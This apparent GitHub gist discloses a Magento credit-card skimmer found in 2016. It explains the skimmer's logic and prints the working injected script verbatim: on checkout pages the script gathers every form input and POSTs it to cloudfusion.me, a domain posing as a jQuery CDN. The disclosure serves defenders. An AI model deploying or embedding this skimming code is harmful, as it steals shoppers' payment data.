Last active
November 9, 2016 14:03
-
-
Save fheyer/5cbeb2907a9f3c150678 to your computer and use it in GitHub Desktop.
Magento CC scraper that sends data to cloudfusion.me pretending to be a JS CDN found 2016-03-16
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Code first checks for current URL being onepage or checkout. | |
| If checks is positive all input values are sent via POST request to | |
| https://cloudfusion.me/cdn/jquery.min.js | |
| code unaltered below: | |
| <script type="text/javascript">jQuery(function(t){t("button").on("click",function(){q="h="+window.location.href,q.match(/onepage|checkout/gi)&&(t("input, select").each(function(){t(this).val()?q+="&"+t(this).attr("name")+"="+t(this).val():""}),t.post(t("<div />").html("https://cloudfusion.me/cdn/jquery.min.js").text(),q))})});</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment